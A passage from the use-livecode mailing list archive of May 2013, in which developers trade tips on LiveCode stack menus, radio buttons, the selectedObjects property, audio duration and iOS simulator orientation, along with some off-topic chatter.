<57BAF52C-B8C9-445E-BCB0-588CB952C517@sonsothunder.com> Message-ID: Thanks Ken, that clarified the color stuff. I guess the fact that the armFIll and autoArm properties are not shown in the IDE Inspector for a button makes it hard to figure this out! Still puzzled by the message path though. Using your example, I had a mouseUp handler in a button in Stack2 which called a handler in Card 1 of stack 2 so sounds like it should have executed. Plus when I removed the mouseUp handler from the button and re-titled the card handler to mouseUp, all worked fine. I'll see if I can check into that again. Pete lcSQL Software On Wed, May 29, 2013 at 3:34 PM, Ken Ray wrote: > > When the mouse rolls over one of the stack menu options, it's background > > becomes a very dark blue color. Looking for guidance on how to fix that > > since I've tried the obvious color settings to no avail. Maybe some > other > > property needs (un)setting? > > Peter, I think the reason you're seeting the dark blue color is that in > the stack that is popping up you have buttons that have the 'autoArm' > property set to true, which causes the button to automatically hilite when > the mouse passes over it in the popup stack. You can change the color by > setting the 'hiliteColor' property of the button(s) that are sitting on the > popup stack. Or if you don't want it to hilite at all, you can set the > 'armFill' property of the button(s) to false. > > > The other issue seems to a difference in how the message path works when > I > > click on a button in the stack menu. I have a mouseUp handler in each > > stack menu button which calls a handler I have at the card level. In > > debug, I see the mouseUp handler executing but even though it executes > the > > call to the card hanlder, the card level handler never executes. > > > > I've worked round it by putting the mouseUp handler at the card level, > > arguably a better solution anyway but curious about this behavior. > > OK, any script that you call from popup stack objects follow the hierarchy > (AFAIK) of the menu button - that is suppose the main stack was called > "Stack 1" and the popup stack was called "Stack 2": > > menu button (of Stack 2) > card script (of Stack 2) > stack script (of Stack 2) > stack script (of Stack 1 - if Stack 2 is a substack of Stack 1) > libraries/backscripts/etc. > > Note that it never triggers the card script of Stack 1. Your 'mouseUp' > handler is actually trapping the mouseUp of the button that *invoked* the > popup stack? not the mouseUp on the menu button you ultimately selected. > > So to get around this you'll need to use 'dispatch' or the equivalent from > the script of the menu button in Stack 2 to the card in Stack 1, like: > > (script of menu button of Stack 2:) > on menuPick pItemName > dispatch "ItemSelected" to cd 1 of stack "Stack 1" with pItemName > end menuPick > > > Hope this helps, > > Ken Ray > Sons of Thunder Software, Inc. > Email: kray at sonsothunder.com > Web Site: http://www.sonsothunder.com/ > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From mpetrides at earthlink.net Wed May 29 19:19:50 2013 From: mpetrides at earthlink.net (Marian Petrides, M.D.) Date: Wed, 29 May 2013 18:19:50 -0500 Subject: [ANN] Book "Programming LiveCode for the Real Beginner" sold out! In-Reply-To: <51A6809C.800@economy-x-talk.com> References: <51A641A4.9070905@economy-x-talk.com> <51A6809C.800@economy-x-talk.com> Message-ID: Thanks, Mark. Have no idea how DHL delivers here. Guess it may not make it here before I leave for the summer. Bummer. On May 29, 2013, at 5:26 PM, Mark Schonewille wrote: > Hi Marian, > > No, there is no tracking service offered. I'd think that DHL delivers the book to you, but DHL might leave it to a local postal service. > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com > > Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi > > On 5/29/2013 21:04, Marian Petrides, M.D. wrote: >> Mark, >> For those of us who ordered the book early on, is there some way of tracking the shipment on our order? Do you know offhand how orders were shipped in the US? UPS? FedEx? USPS? >> >> Thanks >> >> Marian > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From scott at tactilemedia.com Thu May 30 01:02:22 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Wed, 29 May 2013 22:02:22 -0700 Subject: Custom Radio Buttons? Message-ID: I'm trying to set up a bunch of custom radio buttons using images for the button portion of the controls. It seems that when you do this, LiveCode forces the button to the right of the control, with the text on the left. And the only way to move the button back to the left of the control is to set the textAlign of the radio to right. But then every radio needs to manually sized to fit both text and button. Am I missing something here? Is there no way to use images in radio buttons without resorting to a bunch of manual resizing? Thanks & Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design From monte at sweattechnologies.com Thu May 30 02:05:15 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Thu, 30 May 2013 16:05:15 +1000 Subject: Custom Radio Buttons? In-Reply-To: References: Message-ID: <9F1D05C8-2013-48D7-A5CC-AC8EC504BB1D@sweattechnologies.com> On 30/05/2013, at 3:02 PM, Scott Rossi wrote: > Am I missing something here? No > Is there no way to use images in radio > buttons without resorting to a bunch of manual resizing? Yes... or use a button and field. What we probably need is an iconAlign property and labelMargin property. The labelMargin would add an extra margin to the margins of the button if set.The combination of those two should allow you to have a left aligned icon and the label starting a fixed distance from the left of the button etc. Cheers -- M E R Goulding Software development services Bespoke application development for vertical markets mergExt - There's an external for that! From palcibiades-first at yahoo.co.uk Thu May 30 05:36:04 2013 From: palcibiades-first at yahoo.co.uk (Peter Alcibiades) Date: Thu, 30 May 2013 02:36:04 -0700 (PDT) Subject: LC Users - in the Bristol, Southhampton,Taunton triangle In-Reply-To: References: Message-ID: <1369906564797-4665610.post@n4.nabble.com> Know of one who hopes shortly to be in Truro. Peter -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/LC-Users-in-the-Bristol-Southhampton-Taunton-triangle-tp4665554p4665610.html Sent from the Revolution - User mailing list archive at Nabble.com. From dixonja at hotmail.co.uk Thu May 30 05:38:57 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Thu, 30 May 2013 10:38:57 +0100 Subject: LC Users - in the Bristol, Southhampton,Taunton triangle In-Reply-To: <1369906564797-4665610.post@n4.nabble.com> References: , , <1369906564797-4665610.post@n4.nabble.com> Message-ID: Well, I suppose it's a start !...LOL > Date: Thu, 30 May 2013 02:36:04 -0700 > From: palcibiades-first at yahoo.co.uk > To: use-revolution at lists.runrev.com > Subject: RE: LC Users - in the Bristol, Southhampton,Taunton triangle > > Know of one who hopes shortly to be in Truro. > > Peter > > > > -- > View this message in context: http://runtime-revolution.278305.n4.nabble.com/LC-Users-in-the-Bristol-Southhampton-Taunton-triangle-tp4665554p4665610.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From lvhdgc7 at gmail.com Thu May 30 10:26:17 2013 From: lvhdgc7 at gmail.com (tbodine) Date: Thu, 30 May 2013 07:26:17 -0700 (PDT) Subject: [ANN] Book "Programming LiveCode for the Real Beginner" sold out! In-Reply-To: References: <51A641A4.9070905@economy-x-talk.com> Message-ID: <1369923976940-4665612.post@n4.nabble.com> Congrats! And I also think an ebook version would have lots of upside for you and the buyer. Please consider! -- Tom Bodine -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/ANN-Book-Programming-LiveCode-for-the-Real-Beginner-sold-out-tp4665594p4665612.html Sent from the Revolution - User mailing list archive at Nabble.com. From lvhdgc7 at gmail.com Thu May 30 11:51:41 2013 From: lvhdgc7 at gmail.com (tbodine) Date: Thu, 30 May 2013 08:51:41 -0700 (PDT) Subject: [OT] DBADPL License In-Reply-To: References: Message-ID: <1369929101429-4665613.post@n4.nabble.com> Funny. Hey, Andrew, are you the Andy Kluthe of Nerd Rage fame? -- Tom Bodine -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/OT-DBADPL-License-tp4665598p4665613.html Sent from the Revolution - User mailing list archive at Nabble.com. From pete at lcsql.com Thu May 30 12:20:18 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 30 May 2013 09:20:18 -0700 Subject: selectedObjects Message-ID: I guess it's my week for running into LC oddities, here's the latest. Open any stack and select 1 or more controls on it. In the message box: put the selectedObjects You'll see the long ids of the controls you selected, one per line. So far so good. Now in the message box : put the number of lines in the selectedObjects You'll get zero no matter how many controls are selected. I can get round this in a script by putting the selectedObjects into a variable, then the number of lines in the variable returns the correct result. Is this a bug or just some strange side effect of how the selectedObjects is implemented? Pete lcSQL Software From m.schonewille at economy-x-talk.com Thu May 30 12:27:07 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 30 May 2013 18:27:07 +0200 Subject: selectedObjects In-Reply-To: References: Message-ID: <51A77DDB.6040600@economy-x-talk.com> Hi Peter, Apparently, the selectedObjects are parsed as objects rather than a string. The solution is to put parentheses around the selectedObjects. This parses it as a string. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/30/2013 18:20, Peter Haworth wrote: > I guess it's my week for running into LC oddities, here's the latest. > > Open any stack and select 1 or more controls on it. > > In the message box: > > put the selectedObjects > > You'll see the long ids of the controls you selected, one per line. So far > so good. Now in the message box : > > put the number of lines in the selectedObjects > > You'll get zero no matter how many controls are selected. > > I can get round this in a script by putting the selectedObjects into a > variable, then the number of lines in the variable returns the correct > result. > > Is this a bug or just some strange side effect of how the selectedObjects > is implemented? > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bonnmike at gmail.com Thu May 30 12:32:52 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Thu, 30 May 2013 10:32:52 -0600 Subject: selectedObjects In-Reply-To: References: Message-ID: put parens around (the selectedobjects) so that eval is forced to complete before the count. On Thu, May 30, 2013 at 10:20 AM, Peter Haworth wrote: > I guess it's my week for running into LC oddities, here's the latest. > > Open any stack and select 1 or more controls on it. > > In the message box: > > put the selectedObjects > > You'll see the long ids of the controls you selected, one per line. So far > so good. Now in the message box : > > put the number of lines in the selectedObjects > > You'll get zero no matter how many controls are selected. > > I can get round this in a script by putting the selectedObjects into a > variable, then the number of lines in the variable returns the correct > result. > > Is this a bug or just some strange side effect of how the selectedObjects > is implemented? > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at lcsql.com Thu May 30 12:38:37 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 30 May 2013 09:38:37 -0700 Subject: selectedObjects In-Reply-To: <51A77DDB.6040600@economy-x-talk.com> References: <51A77DDB.6040600@economy-x-talk.com> Message-ID: Thanks Mark, that does indeed fix the problem. Pete lcSQL Software On Thu, May 30, 2013 at 9:27 AM, Mark Schonewille < m.schonewille at economy-x-talk.com> wrote: > Hi Peter, > > Apparently, the selectedObjects are parsed as objects rather than a > string. The solution is to put parentheses around the selectedObjects. This > parses it as a string. > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/**xtalkprogrammer > KvK: 50277553 > > Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour > spaces. http://www.color-converter.com > > Buy my new book "Programming LiveCode for the Real Beginner" > http://qery.us/3fi > > > On 5/30/2013 18:20, Peter Haworth wrote: > >> I guess it's my week for running into LC oddities, here's the latest. >> >> Open any stack and select 1 or more controls on it. >> >> In the message box: >> >> put the selectedObjects >> >> You'll see the long ids of the controls you selected, one per line. So >> far >> so good. Now in the message box : >> >> put the number of lines in the selectedObjects >> >> You'll get zero no matter how many controls are selected. >> >> I can get round this in a script by putting the selectedObjects into a >> variable, then the number of lines in the variable returns the correct >> result. >> >> Is this a bug or just some strange side effect of how the selectedObjects >> is implemented? >> >> Pete >> lcSQL Software >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> >> > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From dave at businessplaninsight.com Thu May 30 14:58:34 2013 From: dave at businessplaninsight.com (Dave Kilroy) Date: Thu, 30 May 2013 19:58:34 +0100 Subject: LC Users - in the Bristol, Southhampton,Taunton triangle Message-ID: <58A2EDCD-1259-4CB5-97CD-335074AA56B8@businessplaninsight.com> Hi John & Peter Yes! I'm based in Plymouth Dave > Know of one who hopes shortly to be in Truro. > >> mmm... let's extend the area a little then... Are there any liveCode users in the South-West of England ? From ray at linkit.com Thu May 30 15:17:01 2013 From: ray at linkit.com (Ray Horsley) Date: Thu, 30 May 2013 15:17:01 -0400 Subject: Point in Poly In-Reply-To: <51A64763.4060702@hyperactivesw.com> References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> <51A6087B.3090308@gmail.com> <5DFF61FE-1C1A-4FC1-A075-84CD149B01F7@mac.com> <51A64763.4060702@hyperactivesw.com> Message-ID: Just a quick thanks to all those who took the time to contribute to this thread! Let of great ideas. On May 29, 2013, at 2:22 PM, J. Landman Gay wrote: > On 5/29/13 11:33 AM, Roger Guay wrote: >> What a cool idea! I also wonder if blending will work? > > It does. In fact, when I need an opaque object to get info that doesn't work with transparent objects, I sometimes set the blendlevel to 1. Visually it still looks transparent but all the color/intersect/etc functions still work. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ray at linkit.com Thu May 30 15:24:57 2013 From: ray at linkit.com (Ray Horsley) Date: Thu, 30 May 2013 15:24:57 -0400 Subject: How Many Pages are in a PDF? In-Reply-To: <2073013502.2671883.1369848390561.JavaMail.root@sz0051a.westchester.pa.mail.comcast.net> References: <2073013502.2671883.1369848390561.JavaMail.root@sz0051a.westchester.pa.mail.comcast.net> Message-ID: David - works like a charm. Richard, I imagine your method might work just as well. I'm just not that familiar with unix commands. Thanks! On May 29, 2013, at 1:26 PM, dfepstein at comcast.net wrote: > > > 1 + (the duration of player myPlayerName)/ 75 > > > > David Epstein > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ray at linkit.com Thu May 30 15:36:14 2013 From: ray at linkit.com (Ray Horsley) Date: Thu, 30 May 2013 15:36:14 -0400 Subject: How Long is a Sound [Without Using Quicktime]? In-Reply-To: <2073013502.2671883.1369848390561.JavaMail.root@sz0051a.westchester.pa.mail.comcast.net> References: <2073013502.2671883.1369848390561.JavaMail.root@sz0051a.westchester.pa.mail.comcast.net> Message-ID: I know this is available with QuickTime using the CurrentTime and TimeScale properties but if the user doesn't have QuickTime installed I'd hate to be stuck. Are there any other ways to get the duration of an audio file? From mwieder at ahsoftware.net Thu May 30 16:27:37 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 30 May 2013 20:27:37 +0000 (UTC) Subject: OT: Science fiction story in the form of a Twitter bug-report Message-ID: Jacque? You out there? -- Mark Wieder mwieder at ahsoftware.net From dsc at swcp.com Thu May 30 16:45:35 2013 From: dsc at swcp.com (Dar Scott) Date: Thu, 30 May 2013 14:45:35 -0600 Subject: How Long is a Sound [Without Using Quicktime]? In-Reply-To: References: <2073013502.2671883.1369848390561.JavaMail.root@sz0051a.westchester.pa.mail.comcast.net> Message-ID: <6EBC24B7-5641-4765-B33E-1AA7F48A9147@swcp.com> I don't have a good solution but here are some crazy ideas... If these are all sounds you supply, you can write a script that times all the sounds in some folder (or stack) and creates a table. If you know these all are the same bit rate and the same number of channels, and there is no compression in the format, then maybe you can estimate from the file length. Tweak an offset to cover headers and trailers. Maybe there are some command-line tools that can work with shell(). I quick search brought up names like mp3info, soxi, afinfo, mp3split, and sox. Or, if you handle only a small number of sound formats, parse the files. Dar On May 30, 2013, at 1:36 PM, Ray Horsley wrote: > I know this is available with QuickTime using the CurrentTime and TimeScale properties but if the user doesn't have QuickTime installed I'd hate to be stuck. Are there any other ways to get the duration of an audio file? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Thu May 30 16:46:26 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 30 May 2013 13:46:26 -0700 Subject: Stack menus In-Reply-To: <57BAF52C-B8C9-445E-BCB0-588CB952C517@sonsothunder.com> References: <57BAF52C-B8C9-445E-BCB0-588CB952C517@sonsothunder.com> Message-ID: Continuing on somewhat the same topic, is it possible to have a stack menu with cascading subitems? In other words, I'd like it to behave like an option menu with sub items so that if I click on a line that has subitems, the original line stays hilited and the subitems are listed alongside it. Pete lcSQL Software On Wed, May 29, 2013 at 3:34 PM, Ken Ray wrote: > > When the mouse rolls over one of the stack menu options, it's background > > becomes a very dark blue color. Looking for guidance on how to fix that > > since I've tried the obvious color settings to no avail. Maybe some > other > > property needs (un)setting? > > Peter, I think the reason you're seeting the dark blue color is that in > the stack that is popping up you have buttons that have the 'autoArm' > property set to true, which causes the button to automatically hilite when > the mouse passes over it in the popup stack. You can change the color by > setting the 'hiliteColor' property of the button(s) that are sitting on the > popup stack. Or if you don't want it to hilite at all, you can set the > 'armFill' property of the button(s) to false. > > > The other issue seems to a difference in how the message path works when > I > > click on a button in the stack menu. I have a mouseUp handler in each > > stack menu button which calls a handler I have at the card level. In > > debug, I see the mouseUp handler executing but even though it executes > the > > call to the card hanlder, the card level handler never executes. > > > > I've worked round it by putting the mouseUp handler at the card level, > > arguably a better solution anyway but curious about this behavior. > > OK, any script that you call from popup stack objects follow the hierarchy > (AFAIK) of the menu button - that is suppose the main stack was called > "Stack 1" and the popup stack was called "Stack 2": > > menu button (of Stack 2) > card script (of Stack 2) > stack script (of Stack 2) > stack script (of Stack 1 - if Stack 2 is a substack of Stack 1) > libraries/backscripts/etc. > > Note that it never triggers the card script of Stack 1. Your 'mouseUp' > handler is actually trapping the mouseUp of the button that *invoked* the > popup stack? not the mouseUp on the menu button you ultimately selected. > > So to get around this you'll need to use 'dispatch' or the equivalent from > the script of the menu button in Stack 2 to the card in Stack 1, like: > > (script of menu button of Stack 2:) > on menuPick pItemName > dispatch "ItemSelected" to cd 1 of stack "Stack 1" with pItemName > end menuPick > > > Hope this helps, > > Ken Ray > Sons of Thunder Software, Inc. > Email: kray at sonsothunder.com > Web Site: http://www.sonsothunder.com/ > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From jacque at hyperactivesw.com Thu May 30 16:51:14 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 30 May 2013 15:51:14 -0500 Subject: OT: Science fiction story in the form of a Twitter bug-report In-Reply-To: References: Message-ID: <51A7BBC2.7020104@hyperactivesw.com> On 5/30/13 3:27 PM, Mark Wieder wrote: > Jacque? You out there? > You rang? Is there a link to this mystical bug report? It sounds like that game where you pull three slips of paper out of a hat and try to make a story out of what's written on them. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Thu May 30 17:03:23 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 30 May 2013 16:03:23 -0500 Subject: OT: Science fiction story in the form of a Twitter bug-report In-Reply-To: References: Message-ID: <51A7BE9B.7010402@hyperactivesw.com> On 5/30/13 3:27 PM, Mark Wieder wrote: > Jacque? You out there? > Time warp fails, sends dryer sock link to Venus 2+ millenia in the past. Recipe: push red button. Rounding error, or unsigned integer? -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From andrew at ctech.me Thu May 30 17:22:48 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Thu, 30 May 2013 16:22:48 -0500 Subject: [OT] DBADPL License In-Reply-To: <1369929101429-4665613.post@n4.nabble.com> References: <1369929101429-4665613.post@n4.nabble.com> Message-ID: Negative. I am not familiar with Nerd Rage, but there is a guy named Andy Kluthe from Collinsville, IL that I know has a portfolio of art he did for various video games. At one point someone trying to troll me on some forum when I was younger tried to "dox" me because the town I am from is so close to his and similarly named (Carlinville, IL), he assumed we were the same person and proceeded to do awful things to that Andy Kluthe. On Thu, May 30, 2013 at 10:51 AM, tbodine wrote: > Funny. Hey, Andrew, are you the Andy Kluthe of Nerd Rage fame? > -- Tom Bodine > > > > > -- > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/OT-DBADPL-License-tp4665598p4665613.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Regards, Andrew Kluthe andrew at ctech.me From mwieder at ahsoftware.net Thu May 30 17:31:22 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 30 May 2013 21:31:22 +0000 (UTC) Subject: OT: Science fiction story in the form of a Twitter bug-report References: <51A7BBC2.7020104@hyperactivesw.com> Message-ID: J. Landman Gay writes: > You rang? Is there a link to this mystical bug report? Sheesh. Got so excited I forgot to paste it. http://twitter.bug.quietbabylon.com/ -- Mark Wieder mwieder at ahsoftware.net From jacque at hyperactivesw.com Thu May 30 17:37:34 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 30 May 2013 16:37:34 -0500 Subject: How Long is a Sound [Without Using Quicktime]? In-Reply-To: References: <2073013502.2671883.1369848390561.JavaMail.root@sz0051a.westchester.pa.mail.comcast.net> Message-ID: <51A7C69E.3040606@hyperactivesw.com> On 5/30/13 2:36 PM, Ray Horsley wrote: > I know this is available with QuickTime using the CurrentTime and > TimeScale properties but if the user doesn't have QuickTime installed > I'd hate to be stuck. Are there any other ways to get the duration > of an audio file? Can you say what the goal is? Maybe there's another way to do it. All Macs have QT. If a Windows user doesn't, Media Player should run and the same functions should be available as long as you're using player objects. I'm not sure about Linux, I hear there are some issues with players there. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From mwieder at ahsoftware.net Thu May 30 17:39:04 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 30 May 2013 21:39:04 +0000 (UTC) Subject: OT: Science fiction story in the form of a Twitter bug-report References: <51A7BE9B.7010402@hyperactivesw.com> Message-ID: J. Landman Gay writes: > Recipe: push red button. @jacque Doc says don't do that. -- Mark Wieder mwieder at ahsoftware.net From livfoss at mac.com Thu May 30 17:48:47 2013 From: livfoss at mac.com (Graham Samuel) Date: Thu, 30 May 2013 23:48:47 +0200 Subject: iOS app simulation rotated? Message-ID: I've been testing an iOS app intended only for iPad landscape, using Simulator 6.1 as the test target. I must have made a change in the setup, but I don't know what, and now when I try to test from the IDE, I get the simulation showing up as landscape with my splash screen correctly positioned, then suddenly the splash screen is rotated through 90 degrees, meaning that some of it (the original right hand side) is now invisible. When the app proper starts, it is also shown rotated with the right hand side cut off. If I use the 'Rotate' menu in the simulator, all I get is a portrait screen with the same cut-offs. In my Standalone Settings, I have only enabled iPad Landscape options. The thing looks fine on the desktop - can anyone suggest what I did wrong? TIA Graham From dsc at swcp.com Thu May 30 18:24:37 2013 From: dsc at swcp.com (Dar Scott) Date: Thu, 30 May 2013 16:24:37 -0600 Subject: OT: Science fiction story in the form of a Twitter bug-report In-Reply-To: References: <51A7BBC2.7020104@hyperactivesw.com> Message-ID: <9B457DC0-3383-4AA3-99C3-B41AF5E4AD01@swcp.com> Interesting. In the manga steins;gate, I needed a microwave oven. On May 30, 2013, at 3:31 PM, Mark Wieder wrote: > J. Landman Gay writes: > >> You rang? Is there a link to this mystical bug report? > > Sheesh. Got so excited I forgot to paste it. > > http://twitter.bug.quietbabylon.com/ > > -- > Mark Wieder > mwieder at ahsoftware.net > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From warren at warrensweb.us Thu May 30 18:58:31 2013 From: warren at warrensweb.us (Warren Samples) Date: Thu, 30 May 2013 17:58:31 -0500 Subject: How Long is a Sound [Without Using Quicktime]? In-Reply-To: References: <2073013502.2671883.1369848390561.JavaMail.root@sz0051a.westchester.pa.mail.comcast.net> Message-ID: <51A7D997.10000@warrensweb.us> On 05/30/2013 02:36 PM, Ray Horsley wrote: > I know this is available with QuickTime using the CurrentTime and TimeScale properties but if the user doesn't have QuickTime installed I'd hate to be stuck. Are there any other ways to get the duration of an audio file? > _______________________________________________ http://mediainfo.sourceforge.net/en From iowahengst at mac.com Thu May 30 20:21:18 2013 From: iowahengst at mac.com (Randy Hengst) Date: Thu, 30 May 2013 19:21:18 -0500 Subject: iOS app simulation rotated? In-Reply-To: References: Message-ID: <2D7805E0-A030-4C05-BAE4-A59FBC6048AF@mac.com> Graham, Do you have this handler in the stack script? on startUp iphoneSetAllowedOrientations "landscape left,landscape right" end startUp be well, randy ----- On May 30, 2013, at 4:48 PM, Graham Samuel wrote: > I've been testing an iOS app intended only for iPad landscape, using Simulator 6.1 as the test target. I must have made a change in the setup, but I don't know what, and now when I try to test from the IDE, I get the simulation showing up as landscape with my splash screen correctly positioned, then suddenly the splash screen is rotated through 90 degrees, meaning that some of it (the original right hand side) is now invisible. When the app proper starts, it is also shown rotated with the right hand side cut off. If I use the 'Rotate' menu in the simulator, all I get is a portrait screen with the same cut-offs. > > In my Standalone Settings, I have only enabled iPad Landscape options. > > The thing looks fine on the desktop - can anyone suggest what I did wrong? > > TIA > > Graham > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dixonja at hotmail.co.uk Fri May 31 04:59:29 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Fri, 31 May 2013 09:59:29 +0100 Subject: LC Users - in the Bristol, Southhampton,Taunton triangle In-Reply-To: <58A2EDCD-1259-4CB5-97CD-335074AA56B8@businessplaninsight.com> References: <58A2EDCD-1259-4CB5-97CD-335074AA56B8@businessplaninsight.com> Message-ID: Hi Dave... Thanks for your post to the liveCode use-list? I was hoping that there might be a fair number of LC users in the South-West area so that perhaps we could have organised to have a meeting every couple of months, but it seems we are very thin on the ground?:-) Still, with the arrival of the community edition, you never know... things might change? > From: dave at businessplaninsight.com > Subject: RE: LC Users - in the Bristol, Southhampton,Taunton triangle > Date: Thu, 30 May 2013 19:58:34 +0100 > To: use-livecode at lists.runrev.com > > Hi John & Peter > > Yes! I'm based in Plymouth > > Dave > > > Know of one who hopes shortly to be in Truro. > > > >> mmm... let's extend the area a little then... Are there any liveCode users in the South-West of England ? > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ray at linkit.com Fri May 31 05:16:38 2013 From: ray at linkit.com (Ray Horsley) Date: Fri, 31 May 2013 05:16:38 -0400 Subject: How Long is a Sound [Without Using Quicktime]? In-Reply-To: <51A7C69E.3040606@hyperactivesw.com> References: <2073013502.2671883.1369848390561.JavaMail.root@sz0051a.westchester.pa.mail.comcast.net> <51A7C69E.3040606@hyperactivesw.com> Message-ID: <84C48530-05E2-4D8E-8094-F33CA4AB7F4D@LinkIt.Com> You might be right Jackie. I'm not sure how to guess how many desktop systems there are without Quicktime installed so it might not be an issue. The overall goal is to display a progress circle like the one Fetch uses while a sound is playing. The idea is the circle will make one complete trip for the duration of the sound. Dar, nice ideas and very interesting but the user will be supplying the audio files so I'm not sure how that would work out. I'm currently looking into the link Warren supplied to Media Info although I'm not sure how I'll tie it into my standalone. On May 30, 2013, at 5:37 PM, J. Landman Gay wrote: > On 5/30/13 2:36 PM, Ray Horsley wrote: >> I know this is available with QuickTime using the CurrentTime and >> TimeScale properties but if the user doesn't have QuickTime installed >> I'd hate to be stuck. Are there any other ways to get the duration >> of an audio file? > > Can you say what the goal is? Maybe there's another way to do it. > > All Macs have QT. If a Windows user doesn't, Media Player should run and the same functions should be available as long as you're using player objects. I'm not sure about Linux, I hear there are some issues with players there. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From livfoss at mac.com Fri May 31 05:32:47 2013 From: livfoss at mac.com (Graham Samuel) Date: Fri, 31 May 2013 11:32:47 +0200 Subject: iOS app simulation rotated? In-Reply-To: <2D7805E0-A030-4C05-BAE4-A59FBC6048AF@mac.com> References: <2D7805E0-A030-4C05-BAE4-A59FBC6048AF@mac.com> Message-ID: Thanks Randy - I hadn't thought of this. Tried it just now and sadly it doesn't work. The simulation used to work, even without this 